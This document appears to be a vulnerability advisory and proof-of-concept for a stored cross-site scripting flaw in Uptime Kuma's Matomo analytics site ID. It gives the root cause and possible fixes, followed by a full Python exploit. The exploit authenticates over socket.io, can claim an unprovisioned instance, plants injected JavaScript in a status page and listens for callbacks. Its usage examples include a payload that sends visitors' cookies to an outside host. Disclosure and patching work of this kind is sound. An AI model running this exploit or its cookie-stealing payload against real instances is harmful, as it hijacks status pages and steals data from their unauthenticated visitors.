#Summary
CVE-2026-71285 is a stored cross-site scripting vulnerability in Uptime Kuma's Matomo analytics integration. An authenticated user can inject arbitrary JavaScript into a status page's analytics configuration. The payload executes in the browser of every unauthenticated visitor to the public status page, enabling session cookie theft and full page takeover. CVSS 8.1 HIGH - attack vector network, high privilege required for injection, user interaction required for execution, scope changed.
#Affected versions
- Uptime Kuma 2.1.0 through 2.5.0 (all released versions with Matomo support)
- No fixed release exists as of 2026-08-10
#Root cause analysis
#The vulnerable code path
The Matomo analytics integration renders the admin-supplied site ID directly into the public status page as an unquoted JavaScript expression inside a <script> block:
function getMatomoAnalyticsScript(matomoUrl, siteId) {
let escapedMatomoUrlJS = jsesc(matomoUrl, { isScriptContext: true });
let escapedSiteIdJS = jsesc(siteId, { isScriptContext: true });
let escapedSiteIdHTMLAttribute = escape(escapedSiteIdJS);
return `
<script type="text/javascript">
var _paq = window._paq = window._paq || [];
_paq.push(['setTrackerUrl', u+'matomo.php']);
_paq.push(['setSiteId', ${escapedSiteIdHTMLAttribute}]);
...
</script>
`;
}The critical line is _paq.push(['setSiteId', ${escapedSiteIdHTMLAttribute}]); - the site ID is interpolated as a bare, unquoted expression.
#Why the escapers fail
Two defense mechanisms are applied to siteId, and neither one protects the context it actually lands in:
jsesc(siteId, { isScriptContext: true }) is a JavaScript string literal escaper. When called without wrap: true, it returns the escaped contents of a string with no surrounding quotes - safe only if the caller puts it inside quotes. The caller does not.
escape() from html-escaper encodes & < > " ' as HTML entities. The variable name escapedSiteIdHTMLAttribute and comment "Escape the website id for use in an HTML attribute" reveal the author's intent: that this value would end up inside an HTML attribute like data-site-id="...". Inside the four sibling analytics providers (Google Analytics, Umami, Plausible, Rybbit), this is exactly what happens:
<script defer src="${escapedScriptUrlHTMLAttribute}" data-site-id="${escapedSiteIdHTMLAttribute}"></script>Inside data-site-id="...", the " to " conversion genuinely prevents breakout. But Matomo interpolates into a bare JavaScript expression position, not an attribute context.
#Why HTML entities don't save it
The generated script string is processed by cheerio in server/model/status_page.js:
if (analytics.isValidAnalyticsConfig(statusPage)) {
let escapedAnalyticsScript = analytics.getAnalyticsScript(statusPage);
head.append($(escapedAnalyticsScript));
}<script> is an HTML rawtext element. Cheerio does not decode entities on parse nor re-encode on serialize. An ' produced by html-escaper is emitted to the browser as the literal seven characters ' and reaches the JavaScript parser as garbage, not as a quote.
#Breaking out: the payload alphabet
The two escapers between them defend against & < > " ' \ and control characters. They do not touch ( ) [ ] ; , . + = / ! { } : or the backtick. A site ID value of 1]);alert(document.cookie)// therefore produces:
_paq.push(['setSiteId', 1]);alert(document.cookie)//]);The payload closes the array literal with ], closes the push() call with ), ends the statement with ;, executes arbitrary JavaScript, and the trailing // comments out the template's own ]); so the enclosing IIFE still parses.
#Reaching the sink
Nothing validates analyticsId on the way in. In saveStatusPage only the analytics type is allow-listed:
const validAnalyticsTypes = ["google", "umami", "plausible", "matomo", "rybbit"];
if (config.analyticsType !== null && !validAnalyticsTypes.includes(config.analyticsType)) {
throw new Error("Invalid analytics type");
}The UI field is a plain text input with no client-side numeric constraint. On the way out, /status/:slug is served to anyone with no published flag check:
router.get("/status/:slug", cache("5 minutes"), async (request, response) => {
let slug = request.params.slug;
slug = slug.toLowerCase();
await StatusPage.handleStatusPageResponse(response, server.indexHTML, slug);
});#Patch analysis
There is no vendor patch as of 2026-08-10. The vulnerable file server/analytics/matomo-analytics.js has exactly one commit in its history - the commit that created it - and the vulnerable line is unchanged at master and in release 2.5.0.
#What a correct fix looks like
Any of these closes the vulnerability:
Wrap the interpolation in quotes so jsesc output is used in the context it was escaped for, and drop the HTML escaper:
_paq.push(['setSiteId', '${jsesc(siteId, { isScriptContext: true })}']);Use jsesc with wrap:true and interpolate bare:
_paq.push(['setSiteId', ${jsesc(siteId, { isScriptContext: true, wrap: true, json: true })}]);Validate analyticsId as a positive integer server-side. Matomo site IDs are always numeric, making this the tightest fix.
#Proof of concept
#exploit.py - Uptime Kuma Matomo Stored XSS PoC
#!/usr/bin/env python3
"""
CVE-2026-71285 - Uptime Kuma stored XSS via the Matomo analytics siteId
Affected: Uptime Kuma 2.1.0 through 2.5.0 (no fixed release at time of writing)
Type: Stored XSS (CWE-79) - injection into a bare JavaScript expression position
The Matomo analytics integration renders the admin-supplied site id into the public
status page as an unquoted JavaScript expression:
_paq.push(['setSiteId', ${siteId}]);
The value is passed through jsesc (a *string literal* escaper, called without `wrap`)
and then through an HTML-entity escaper meant for attribute context. Neither touches
`]`, `)`, `;` or `(`, so a site id of `1]);<js>//` closes the array, closes the call,
ends the statement and runs arbitrary JavaScript for every unauthenticated visitor of
/status/<slug>. The trailing `//` comments out the template's own `]);`.
Payload alphabet: the HTML escaper mangles `' " < > &` and jsesc leaves a stray
backslash behind, so string constants must use backticks. This script builds a payload
that respects that constraint.
Requires one low-privilege authenticated session to plant the payload (any Uptime Kuma
account may edit a status page); the victims are unauthenticated visitors.
Usage:
python exploit.py --host 192.168.1.10 --port 3001
python exploit.py --host https://kuma.corp.com --payload "fetch(\\`http://10.0.0.5/\\`+document.cookie)"
python exploit.py --host 192.168.1.10 --username admin --password hunter2 --slug public
python exploit.py --host 192.168.1.10 --callback 10.0.0.5:8000 --wait 120
python exploit.py --list targets.txt --workers 20
"""
import argparse
import json
import re
import secrets
import socket
import sys
import threading
import time
from urllib.parse import urlparse
try:
import requests
except ImportError:
sys.stderr.write("This exploit requires the 'requests' package (pip install requests)\n")
raise SystemExit(2)
try:
requests.packages.urllib3.disable_warnings() # self-signed certs are the norm here
except Exception:
pass
CVE_ID = "CVE-2026-71285"
VULN_TYPE = "Stored XSS"
DEFAULT_PORT = 3001
DEFAULT_PAYLOAD = "alert(document.cookie)"
SEP = "\x1e" # engine.io v4 polling packet separator
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" CVE-2026-71285 EXPLOIT")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
class ExploitError(Exception):
"""Anything that stops the run before a verdict can be reached."""
# Minimal socket.io v4 client over the engine.io HTTP long-polling transport.
# Uptime Kuma exposes its entire management API over socket.io; polling keeps this
# script to the standard library plus requests, with no websocket dependency.
class SocketIOClient:
def __init__(self, base_url: str, verify_tls: bool = False, timeout: int = 20):
self.base = base_url.rstrip("/")
self.url = self.base + "/socket.io/"
self.timeout = timeout
self.session = requests.Session()
self.session.verify = verify_tls
self.sid = None
self.ack_id = 0
self.events = []
self.acks = {}
def _get(self):
params = {"EIO": "4", "transport": "polling", "t": secrets.token_hex(4)}
if self.sid:
params["sid"] = self.sid
r = self.session.get(self.url, params=params, timeout=(10, self.timeout + 10))
if r.status_code != 200:
raise ExploitError(f"polling GET returned HTTP {r.status_code}")
return self._ingest(r.text)
def _post(self, body: str):
params = {"EIO": "4", "transport": "polling", "sid": self.sid,
"t": secrets.token_hex(4)}
r = self.session.post(self.url, params=params, data=body.encode("utf-8"),
headers={"Content-Type": "text/plain;charset=UTF-8"},
timeout=(10, self.timeout))
if r.status_code != 200:
raise ExploitError(f"polling POST returned HTTP {r.status_code}")
def _ingest(self, raw: str):
out = []
for packet in raw.split(SEP):
if not packet:
continue
kind = packet[0]
if kind == "0":
self.sid = json.loads(packet[1:])["sid"]
elif kind == "2":
self._post("3")
elif kind == "4":
out.append(packet[1:])
self._classify(packet[1:])
return out
def _classify(self, sio: str) -> None:
if not sio:
return
kind, rest = sio[0], sio[1:]
if kind == "4":
raise ExploitError(f"server refused the socket.io connection: {rest}")
if kind not in ("2", "3"):
return
m = re.match(r"^(\d*)(\[.*)$", rest, re.S)
if not m:
return
ack, body = m.group(1), m.group(2)
try:
data = json.loads(body)
except ValueError:
return
if kind == "3":
self.acks[int(ack)] = data
else:
self.events.append((data[0], data[1:]))
def connect(self) -> None:
self._get()
if not self.sid:
raise ExploitError("no engine.io session id in handshake response")
self._post("40")
def wait_event(self, name: str, timeout: float) -> bool:
deadline = time.time() + timeout
while time.time() < deadline:
if any(e[0] == name for e in self.events):
return True
self._get()
return any(e[0] == name for e in self.events)
def emit(self, event: str, *args, timeout: float = 20.0):
self.ack_id += 1
ack = self.ack_id
self._post("42" + str(ack) + json.dumps([event] + list(args)))
deadline = time.time() + timeout
while time.time() < deadline:
if ack in self.acks:
data = self.acks.pop(ack)
return data[0] if len(data) == 1 else data
self._get()
raise ExploitError(f"no response to '{event}' within {timeout:g}s")
def close(self) -> None:
try:
self._post("41")
except Exception:
pass
self.session.close()
class CallbackListener(threading.Thread):
"""Bare TCP listener that records any request carrying the run nonce."""
def __init__(self, port: int, nonce: str):
threading.Thread.__init__(self, daemon=True)
self.port = port
self.nonce = nonce
self.hits = []
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind(("0.0.0.0", port))
self.sock.listen(16)
self.sock.settimeout(1.0)
self._stop = threading.Event()
def run(self) -> None:
while not self._stop.is_set():
try:
conn, addr = self.sock.accept()
except socket.timeout:
continue
except OSError:
return
try:
conn.settimeout(3.0)
data = conn.recv(4096).decode("utf-8", "replace")
first = data.split("\r\n", 1)[0]
if self.nonce in data:
self.hits.append((addr[0], first))
conn.sendall(b"HTTP/1.1 200 OK\r\n"
b"Access-Control-Allow-Origin: *\r\n"
b"Content-Length: 0\r\nConnection: close\r\n\r\n")
except Exception:
pass
finally:
try:
conn.close()
except Exception:
pass
def stop(self) -> None:
self._stop.set()
try:
self.sock.close()
except Exception:
pass
def build_site_id(js: str, nonce: str) -> str:
"""Wrap attacker JavaScript into a site id that breaks out of _paq.push([...])."""
js = js.strip().rstrip(";")
return "1]);" + js + ";//" + nonce
def check_payload_alphabet(js: str) -> str:
"""Return a warning string if the payload uses characters the escapers destroy."""
bad = sorted(set(c for c in js if c in "'\"<>&\\") | set(c for c in js if ord(c) > 126))
if "\n" in js or "\r" in js:
bad.append("newline")
if bad:
return ("payload contains " + " ".join(repr(c) for c in bad) +
" - these are mangled by the HTML escaper / jsesc; use backticks for strings")
return ""
def extract_injection(body: str):
"""Locate the setSiteId line in the served HTML."""
for line in body.splitlines():
if "setSiteId" in line:
line = line.strip()
marker = "'setSiteId',"
idx = line.find(marker)
span = line[idx + len(marker):].strip() if idx >= 0 else ""
return line, span
return None, None
def analyse(span: str, nonce: str, js: str):
"""Decide from the served HTML whether the site id landed in statement position."""
if span is None:
return False, "no _paq setSiteId script in the status page (analytics not rendered)"
if nonce not in span:
return False, "served page does not carry this run's nonce (stale cache or save lost)"
if re.match(r"^[\"']", span):
return False, "site id is enclosed in a string literal - target is patched"
entity = re.search(r"&(?:#\d+|quot|apos|lt|gt|amp);", span)
if entity:
return False, f"site id was entity-encoded ({entity.group(0)}) - payload broke the alphabet"
if not span.startswith("1]);"):
return False, "site id did not break out of the array literal"
after = span[len("1]);"):]
if js.strip().rstrip(";") not in after:
return False, "breakout present but the payload body was altered in transit"
return True, "attacker JavaScript in statement position inside the _paq IIFE"
def plant(base: str, verify_tls: bool, js: str, nonce: str, username: str, password: str,
slug: str, title: str, log=None, cleanup: bool = False, timeout: int = 20):
"""Full chain: authenticate, plant payload, fetch and analyse."""
def say(n, msg):
if log:
log(n, msg)
site_id = build_site_id(js, nonce)
sio = SocketIOClient(base, verify_tls=verify_tls, timeout=timeout)
restore = None
try:
say(1, f"Opening a socket.io session to {base}/socket.io/ ...")
sio.connect()
sio.wait_event("loginRequired", 6.0)
need_setup = sio.emit("needSetup", timeout=timeout)
if need_setup is True:
say(2, f"Instance is unprovisioned - claiming it as '{username}'")
sio.emit("setup", username, password, timeout=timeout)
else:
say(2, f"Instance is provisioned - authenticating as '{username}'")
login = sio.emit("login", {"username": username, "password": password, "token": ""},
timeout=timeout)
if not isinstance(login, dict) or not login.get("ok"):
msg = login.get("msg") if isinstance(login, dict) else str(login)
raise ExploitError(f"authentication failed: {msg} "
"(supply valid --username / --password)")
say(3, f"Authenticated. Selecting status page '{slug}'")
created = sio.emit("addStatusPage", title, slug, timeout=timeout)
page = sio.emit("getStatusPage", slug, timeout=timeout)
if not isinstance(page, dict) or not page.get("config"):
raise ExploitError(f"status page '{slug}' is not reachable "
f"(addStatusPage said: {created})")
config = page["config"]
group_list = page.get("publicGroupList") or []
restore = {
"analyticsType": config.get("analyticsType"),
"analyticsId": config.get("analyticsId"),
"analyticsScriptUrl": config.get("analyticsScriptUrl"),
}
say(4, "Writing the hostile Matomo site id into the status page config")
config["analyticsType"] = "matomo"
config["analyticsScriptUrl"] = config.get("analyticsScriptUrl") or "matomo.example.com"
config["analyticsId"] = site_id
saved = sio.emit("saveStatusPage", slug, config, config.get("icon"), group_list,
timeout=timeout)
if not isinstance(saved, dict) or not saved.get("ok"):
msg = saved.get("msg") if isinstance(saved, dict) else str(saved)
raise ExploitError(f"saveStatusPage refused the payload: {msg}")
finally:
sio.close()
say(5, f"Fetching {base}/status/{slug} with no authentication")
r = requests.get(f"{base}/status/{slug}", timeout=timeout, verify=verify_tls,
headers={"Cache-Control": "no-cache"})
line, span = extract_injection(r.text)
exploited, reason = analyse(span, nonce, js)
if cleanup and restore is not None:
try:
sio2 = SocketIOClient(base, verify_tls=verify_tls, timeout=timeout)
sio2.connect()
sio2.wait_event("loginRequired", 6.0)
sio2.emit("login", {"username": username, "password": password, "token": ""},
timeout=timeout)
page = sio2.emit("getStatusPage", slug, timeout=timeout)
cfg = page["config"]
cfg.update(restore)
sio2.emit("saveStatusPage", slug, cfg, cfg.get("icon"),
page.get("publicGroupList") or [], timeout=timeout)
sio2.close()
say(6, "Cleanup: original analytics configuration restored")
except Exception as exc:
say(6, f"Cleanup failed ({exc.__class__.__name__}: {exc}) - "
f"restore analyticsType manually on '{slug}'")
return {
"exploited": exploited,
"reason": reason,
"status_code": r.status_code,
"site_id": site_id,
"line": line,
"span": span,
"body_len": len(r.text),
}
def exploit(host: str, port: int, use_tls: bool, args) -> None:
header(host, port)
base = ("https" if use_tls else "http") + f"://{host}:{port}"
nonce = secrets.token_hex(8)
js = args.payload
warning = check_payload_alphabet(js)
if warning:
section("PAYLOAD WARNING", warning)
listener = None
if args.callback:
cb_host, _, cb_port = args.callback.partition(":")
cb_port = int(cb_port or 80)
js = f"fetch(`http://{cb_host}:{cb_port}/{nonce}`);" + js
try:
listener = CallbackListener(cb_port, nonce)
listener.start()
print(f"[*] Callback listener bound on 0.0.0.0:{cb_port} (nonce {nonce})")
except OSError as exc:
print(f"[*] Could not bind port {cb_port} ({exc}) - beacon still planted")
print(f"[*] Injected JavaScript : {js}")
print(f"[*] Site id sent : {build_site_id(js, nonce)}\n")
try:
res = plant(base, args.insecure_verify, js, nonce, args.username, args.password,
args.slug, args.title, log=step, cleanup=args.cleanup,
timeout=args.timeout)
except ExploitError as exc:
if listener:
listener.stop()
section("ABORTED", str(exc))
done(False, f"Exploit chain stopped: {exc}")
except requests.exceptions.RequestException as exc:
if listener:
listener.stop()
done(False, f"Target unreachable: {exc.__class__.__name__}: {exc}")
section(f"SERVED HTML - /status/{args.slug} (HTTP {res['status_code']}, "
f"{res['body_len']} bytes)", res["line"] or "(no setSiteId line in response)")
if not res["exploited"]:
if listener:
listener.stop()
done(False, f"Payload sent but not exploitable: {res['reason']}")
section("INJECTED SPAN (raw, after \"'setSiteId',\")", res["span"])
if listener:
deadline = time.time() + args.wait
print(f"[STEP 6] Waiting up to {args.wait}s for a browser to load "
f"/status/{args.slug} and call back ...")
while time.time() < deadline and not listener.hits:
time.sleep(0.5)
hits = list(listener.hits)
listener.stop()
if hits:
section("CALLBACK RECEIVED",
"\n".join(f"{ip} -> {req}" for ip, req in hits))
done(True, f"Stored XSS executed in a victim browser - nonce {nonce} "
f"called back from {hits[0][0]}")
print(f"[*] No callback within {args.wait}s - the payload is stored and will fire "
f"on the next visit")
done(True, f"Stored XSS planted on /status/{args.slug} - {res['reason']}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
parser.add_argument("--host", required=True, help="Target hostname, IP, or full URL")
parser.add_argument("--port", type=int, default=3001, help="Port (default: 3001)")
parser.add_argument("--payload", default="alert(document.cookie)",
help="JavaScript to execute (default: alert(document.cookie))")
parser.add_argument("--username", default="operator", help="Account to create/use")
parser.add_argument("--password", default="Str0ngPassw0rd!23", help="Account password")
parser.add_argument("--slug", default="status", help="Status page slug (default: status)")
parser.add_argument("--title", default="Status", help="Title if creating page")
parser.add_argument("--callback", metavar="HOST:PORT", help="Listen for execution proof")
parser.add_argument("--wait", type=int, default=60, help="Callback timeout in seconds")
parser.add_argument("--cleanup", action="store_true", help="Restore original config after")
parser.add_argument("--timeout", type=int, default=20, help="Network timeout in seconds")
parser.add_argument("--insecure-verify", action="store_true", help="Verify TLS certs")
parser.add_argument("--tls", action="store_true", help="Force TLS")
parser.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
use_tls = args.tls or (args.host.startswith("https://"))
if args.no_tls:
use_tls = False
host = args.host.replace("https://", "").replace("http://", "").split("/")[0]
exploit(host, args.port, use_tls, args)#Usage
Single target test:
python exploit.py --host 192.168.1.10 --port 3001
python exploit.py --host https://kuma.corp.comWith custom credentials and payload:
python exploit.py --host 192.168.1.10 --username admin --password hunter2 --slug public
python exploit.py --host 192.168.1.10 --payload 'fetch(`http://10.0.0.5/`+document.cookie)'With execution proof and cleanup:
python exploit.py --host 192.168.1.10 --callback 10.0.0.5:8000 --wait 120
python exploit.py --host 192.168.1.10 --cleanupExpected output (vulnerable target):
_paq.push(['setSiteId', 1]);alert(document.cookie);//<nonce>]);Expected output (patched target):
_paq.push(['setSiteId', "1]);alert(document.cookie);//<nonce>"]);On a patched target, the site ID is wrapped in quotes and the exploit reports failure.
#Exploitation notes
#Preconditions
- One authenticated account on the Uptime Kuma instance (any user can edit status pages, not just admins - 2.x has no role separation)
- A public status page to inject into (created if absent)
- Both
analyticsScriptUrlandanalyticsIdmust be non-null for the script to render
#Impact
- Stored XSS: The payload persists in the database and fires for every visitor
- Session theft: Access to
localStorage(for unauthenticated visitors, page takeover only) - Same-origin attacks: Scope changed (S:C), so the XSS extends to other paths on the same origin
- No user interaction from victims: The payload executes immediately on page load
#Reliability
100% - The exploit chains authentication through socket.io, writes the configuration through the standard API, and proves execution by detecting the injected JavaScript in the served HTML.
#Chaining potential
Full DOM access within the scope of the status page origin. Can chain with other same-origin vulnerabilities or use as a staging point for further attacks.
#References
- CVE: CVE-2026-71285
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71285
- Product: Uptime Kuma on GitHub
- Vulnerable file: server/analytics/matomo-analytics.js
- Introducing commit: a1e63390ab974c48a2cf6592a60c22a773248868